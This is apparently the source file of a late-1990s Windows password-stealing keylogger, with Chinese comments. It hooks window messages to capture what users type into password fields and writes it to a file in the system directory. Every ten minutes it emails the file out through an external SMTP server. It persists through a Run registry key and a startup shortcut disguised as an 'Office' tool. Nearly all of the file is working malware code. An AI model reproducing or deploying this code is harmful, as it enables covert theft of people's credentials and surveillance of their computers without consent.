getpass.cpp

listen to what are they talking,窃听源码

/* getpass.cpp:
   可以将所有在IE和其他所有密码框中的输入记录下来. 并用ftp/email发送到免费个人主页/信箱
   http://www.nease.net/~inetsoft, http://netcom.163.net [e-mail] [e-mail]
   by lgd/Paladin.InetSoft GuangZhou
   Update 19981215: initconn(), using sd_connect instead of gethostname
   Update  19981218: add CreateStartup() and GetProxy()
     Update   19991130：use smtp instead of ftp
*/

#include <windows.h>
#include <shlobj.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <io.h>

#include "resource.h"
#include "tcp.h"
#include "smtp.h"

int CreateRun(void);
int CreateStartup(void); /* copy文件到windows目录并在启动中建立快捷方式或设置自动启动 */
int DeleteShortCut();
int GetProxy(void);      /* 查询代理服务器 */
int SendUserData(); /* 发送数据到 ftp server */

int ftp_cmd(int sd, char *cmd, int success_code); /* 执行命令 */
int ftp_login(char *hostname, char *user_name, char *passwd);
int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time);
int initconn(int sd);  /* 建立数据连接 */
int get_reply(int sd); /* 接收回答 */
void ftp_quit(int sd);

int g_code;
char g_reply[1024];
char proxy[20];

/* hooks in ../spydll/hook.c */
BOOL SetMsgHook(BOOL fSet)
{
    static HHOOK hhkGetMessage = NULL;
    static HHOOK hhkCallWndProc = NULL;
    static HMODULE hmodHook;

    if (fSet)
    {
        if (!hmodHook)
        {
            if (!(hmodHook = LoadLibrary("fivedll.dll")))
            {
                return FALSE;
            }
        }

        if (!hhkGetMessage)
        {
            if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE,
                (HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0)))
            {
                return FALSE;
            }
        }

        if (!hhkCallWndProc)
        {
            if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC,
                (HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0)))
            {
                UnhookWindowsHookEx(hhkGetMessage);
                return FALSE;
            }
        }
    }
    else
    {
        if (hhkGetMessage)
        {
            UnhookWindowsHookEx(hhkGetMessage);
            hhkGetMessage = NULL;
        }

        if (hhkCallWndProc)
        {
            UnhookWindowsHookEx(hhkCallWndProc);
            hhkCallWndProc = NULL;
        }
		FreeLibrary(hmodHook);
    }

    return TRUE;
}

int filePos =0;
char UserFile[128];
HRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	static int filePos =0;
	int newPos =0;

	switch(msg)
	{
	case WM_CREATE:
		if(!GetSystemDirectory(UserFile, sizeof(UserFile)-20))
			return TRUE;
		strcat(UserFile, "\\user.txt");

		SetMsgHook(TRUE);
		SetTimer(hWnd, 1, 600000, NULL);/*每隔10分钟发送文件*/
		break;
	case WM_TIMER:
		KillTimer(hWnd, 1);
		SendUserData();
		SetTimer(hWnd, 1, 600000, NULL);
		break;
	case WM_DESTROY:
		SetMsgHook(FALSE);
		CreateStartup();
		tcp_exit();
		PostQuitMessage(0);
		break;
	case WM_QUERYENDSESSION:
		SetMsgHook(FALSE);
		CreateStartup();
		tcp_exit();
		return TRUE;
	}
	return DefWindowProc(hWnd, msg, wParam, lParam);
}

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    HWND hwnd;
	WNDCLASS ws;
	MSG msg;
	
	if(FindWindow("Five100", NULL) !=NULL) return 0;

	memset(proxy, 0, sizeof(proxy));
	memset(&ws, 0, sizeof(ws));
	
	GetProxy();
	CreateStartup();
	DeleteShortCut();
	tcp_init();

	ws.lpszClassName ="Five100";
	ws.lpfnWndProc =MainWndProc;
	ws.hbrBackground =(HBRUSH)(COLOR_WINDOW+1);
	ws.hInstance =hInstance;
	ws.hIcon =LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));

	if(RegisterClass(&ws) <0)
	{
		tcp_exit();
		return FALSE;
	}
	hwnd =CreateWindow("Five100", "", WS_POPUP|WS_SYSMENU|WS_CAPTION,
		20, 20, 200, 200, NULL, NULL, hInstance, NULL);
	if(hwnd ==NULL)
	{
		tcp_exit();
		return FALSE;
	}
	while (GetMessage(&msg, NULL, 0, 0))
    {                           
      {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
      }  
    }
	SetMsgHook(FALSE);
	CreateStartup();
	tcp_exit();

    return msg.wParam;
}

int SendUserData()
{
	int sd =-1, len;

	/* www.nease.net:202.96.152.194, 如果使用smtp，可以不泄露密码，但有时代理服务器不能通过*/
	/*if(proxy[0])
	{
		strcpy(hostname, proxy);
		strcpy(username, "????");  //for wingate
	}
	else
	{
retry_local:
		strcpy(hostname, "paladin.163.net");
		strcpy(username, "paladin");
	}*/
	if(_access(UserFile, 0) !=0) return 0;
	if((sd =smtp_connect("smtp.china.com", 25, 60)) <0)
	{
		return -1;
	}
	sd_connect =sd;
	if((len =smtp_sendfile(sd, "[e-mail]", "[e-mail]", UserFile)) <0)
	{
		smtp_disconnect(sd);
		return -1;
	}
	smtp_disconnect(sd);
	remove(UserFile);
	return 0;
}

int ftp_cmd(int sd, char *cmd, int success_code)
{
  int code;

  if(tcp_send(sd, cmd, strlen(cmd), 5) !=(int)strlen(cmd))
    return -1;
  if((code =get_reply(sd)) !=success_code)
  {
    return -2;
  }
  return 0;
}

int ftp_login(char *hostname, char *user_name, char *passwd)
{
  int sd, ret;
  char cmds[100];
  
  if((sd =tcp_connect(hostname, 21, 10)) <0)
    return -1;
  if((ret =get_reply(sd)) !=220)
  {
    closesocket(sd);
    return -1;
  }
  sprintf(cmds, "USER %s\r\n", user_name);
  if(ftp_cmd(sd, cmds, 331) <0)
  {
    closesocket(sd);
    return -1;
  }
  sprintf(cmds, "PASS %s\r\n", passwd);
  if(ftp_cmd(sd, cmds, 230) <0)
  {
    closesocket(sd);
    return -1;
  }

  return sd;
}

int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time)
{
  char cmds[300];
  int len, file_len =0, len_sent =0, ret =0, code;
  char *buf =NULL;
  FILE *fp =NULL;
  
  if((fp =fopen(file_local, "r")) ==NULL)
  {
    ret =-1;
    goto f_exit;
  }
  fseek(fp, 0, SEEK_END);
  file_len =ftell(fp)-pos;
  if(file_len <0)
  {
	  fclose(fp);
	  return -1;
  }
  if(file_len <pos)
  {
  	  filePos =0;
	  WriteProfileString("UserFile", "Pos", "0");
	  fclose(fp);
	  return 0;
  }
  if(file_len ==pos)
  {
	  fclose(fp);
	  return 0;
  }
  fseek(fp, pos, SEEK_SET);

  if(ftp_cmd(sd, "TYPE I\r\n", 200) <0)
  {
    ret =-1;
    goto f_exit;
  }

  if((sd_bind =initconn(sd)) <0)
  {
    ret =-1;
    goto f_exit;
  }
  sprintf(cmds, "STOR %s\r\n", file_remote);
  if(ftp_cmd(sd, cmds, 150) <0)
  {
    ret =-1;
    goto f_exit;
  }

  if((sd_accept =tcp_accept(sd_bind, 20)) <0)
  {
    ret =-1;
    goto f_exit;
  }
  
  if((buf =(char *)malloc(1024+1)) ==NULL)
  {
    ret =-1;
    goto f_exit;
  }

  len_sent =0;
  while(len_sent < file_len)
  {
    if(file_len-len_sent <1024) len =file_len-len_sent;
    else len =1024;
    if(fread(buf, len, 1, fp) !=1)
    {
      get_reply(sd);
      ret =-1;
      goto f_exit;
    }
    if(tcp_send(sd_accept, buf, len, max_wait_time) !=len)
    {
      ret =-1;
      get_reply(sd);
      goto f_exit;
    }
    len_sent +=len;
  }
  closesocket(sd_accept); sd_accept =-1;
  if((code =get_reply(sd)) !=226)
  {
    goto f_exit;
  }
  ret =len_sent;

f_exit:
  if(sd_accept >=0) closesocket(sd_accept);
  if(sd_bind >=0) closesocket(sd_bind);
  sd_accept =-1;
  sd_bind =-1;
  if(fp) fclose(fp);
  if(buf) free(buf);

  return ret;
}

int initconn(int sd)
{
  char *p1, *p2;
  struct sockaddr_in addr1, addr2;
  char temp[256];
  int len;
  int code, sd_data;
  /*struct hostent *hp;*/
  
  if((sd_data =tcp_bind(NULL, 0)) <0)
    return -1;
  len =sizeof(addr1);
  /*if(gethostname(temp, sizeof(temp)) !=0)
    return -1;
  if((hp =gethostbyname(temp)) ==NULL)
    return -1;*/
  if(getsockname(sd_connect, (struct sockaddr *)&addr1, &len) <0)
    return -1;
  if(getsockname(sd_data, (struct sockaddr *)&addr2, &len) <0)
    return -1;
  /*p1 =(char *)hp->h_addr;*/
  p1 =(char *)&addr1.sin_addr;
  p2 =(char *)&addr2.sin_port;
  sprintf(temp, "PORT %d,%d,%d,%d,%d,%d\r\n", ((int)p1[0]) &0xff, ((int)p1[1]) &0xff, (int)p1[2] &0xff, (int)p1[3]&0xff, (int)p2[0]&0xff, (int)p2[1]&0xff);
  if(tcp_send(sd, temp, strlen(temp), 10) !=(int)strlen(temp))
  {
    closesocket(sd_data);
    return -1;
  }
  if((code =get_reply(sd)) !=200)
  {
    closesocket(sd_data);
    return -1;
  }
  return sd_data;
}

int get_reply(int sd)
{
  int i, code =0;

again:
  i =0;
  memset(g_reply, 0, sizeof(g_reply));
  while(1)
  {
    if(tcp_recv(sd, &g_reply[i], 1, 10) !=1)
      break;
    if(g_reply[i] =='\r') g_reply[i] =' ';
    if(g_reply[i] =='\n')
    {
      g_reply[i] =' ';
      g_reply[i+1] =0;
	  if(sscanf(g_reply, "%d", &code) !=1)
      {
        return -1;
      }
      else break;
    }
    i++;
  }
  if(g_reply[3] =='-')
  {
	  i =0;
	  goto again;
  }
  g_code =code;
 
  return code;
}

void ftp_quit(int sd)
{
  ftp_cmd(sd, "QUIT\r\n", 221);
  closesocket(sd);
}

int GetProxy(void)
{
	char *tok =NULL;
	HKEY hKey;
	unsigned char temp[100];
	unsigned long type, len;

	temp[0] =0;
	if(RegOpenKeyEx(HKEY_CURRENT_USER,
		"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings",
		0, KEY_READ, &hKey) !=ERROR_SUCCESS)
		return -1;
	len =sizeof(temp);
	if(RegQueryValueEx(hKey, "ProxyServer", NULL, &type, temp, &len) !=ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		return -1;
	}
	if(tok =strtok((char *)temp, ":"))
		strcpy(proxy, tok);
	RegCloseKey(hKey);
	return 0;
}

int CreateRun(void)
{
	HKEY hKey;
	const char *pval ="Five32.exe";
	
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
		0, KEY_WRITE, &hKey) !=ERROR_SUCCESS)
		return -1;
	if(RegSetValueEx(hKey, "Five32", 0, REG_SZ, (const unsigned char *)pval,  strlen(pval)+1)
		!=ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		return -1;
	}
	RegCloseKey(hKey);
	return 0;
}

/* Create shortcut in startup menu */
int CreateStartup(void)
{
	HRESULT hres; 
	IShellLink* pShellLink; 
	char temp[128], windir[100];

	GetWindowsDirectory(windir, sizeof(windir));
	sprintf(temp, "%s\\fivedll.dll", windir);
	CopyFile("fivedll.dll", temp, 1);
	sprintf(temp, "%s\\five32.exe", windir);
	CopyFile("five32.exe", temp, 1);

	if(CreateRun() ==0) return 0;
	CoInitialize(NULL);
	hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, 
                           IID_IShellLink, (LPVOID*)&pShellLink); 
	if(SUCCEEDED(hres)) 
	{ 
		IPersistFile* pPersistFile;
		sprintf(temp, "%s\\five32.exe", windir);
		pShellLink->SetPath(temp); 
		pShellLink->SetDescription("five32"); 
		hres =pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile); 

		if(SUCCEEDED(hres)) 
		{ 
			WCHAR wsz[128]; 
			sprintf(temp, "%s\\Start Menu\\Programs\\启动\\Office工具.lnk", windir);
			MultiByteToWideChar( CP_ACP, 0, temp,
				-1, wsz, 128); 
			hres = pPersistFile->Save(wsz, TRUE); 
			/*if(FAILED(hres)) 
			{
				char *pstr ="c:\\windows\\Start Menu\\Programs\\启动\\startrun.lnk";
				retry =1;
				copy spy.exe and spydll.dll to start
				goto retry;
			}*/
			pPersistFile->Release(); 
		} 
		pShellLink->Release(); 
	} 
	CoUninitialize();
	return (int)hres; 
}

int DeleteShortCut()
{
	char windir[100], file[128];

	GetWindowsDirectory(windir, sizeof(windir));
	sprintf(file, "%s\\Start Menu\\Programs\\启动\\Office工具.lnk", windir);
	remove(file);
	return 0;
}